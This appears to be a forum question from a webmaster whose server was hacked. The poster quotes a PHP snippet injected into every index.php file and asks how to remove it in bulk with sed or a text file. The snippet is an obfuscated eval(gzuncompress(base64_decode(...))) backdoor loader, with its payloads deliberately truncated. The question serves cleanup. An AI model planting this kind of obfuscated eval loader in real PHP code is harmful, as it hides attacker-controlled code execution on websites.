A hacker got into a web server and added this string (removed some characters for security purposes and added line breaks for readability) in all index.php
files:
<?php
eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5WjzcyNDGGMV4+1dSwqSqzU0LQGAJCPCMM=')));
eval(gzuncompress(base64_decode('eF5LK81LLsnMzKx+JjNW0rgUAqDUUxQ==')));
eval(gzuncompress(base64_decode('eF6VlMmy/3sMxOez/iJOojHFT0Ig/8jlTymmN/I=')));
?>
I have tried using the sed
command to remove it (replacing it with nothing) but it is nearly impossible to define a working regular expression with such a huge string.
Is there another way, maybe reading the string from a .txt file?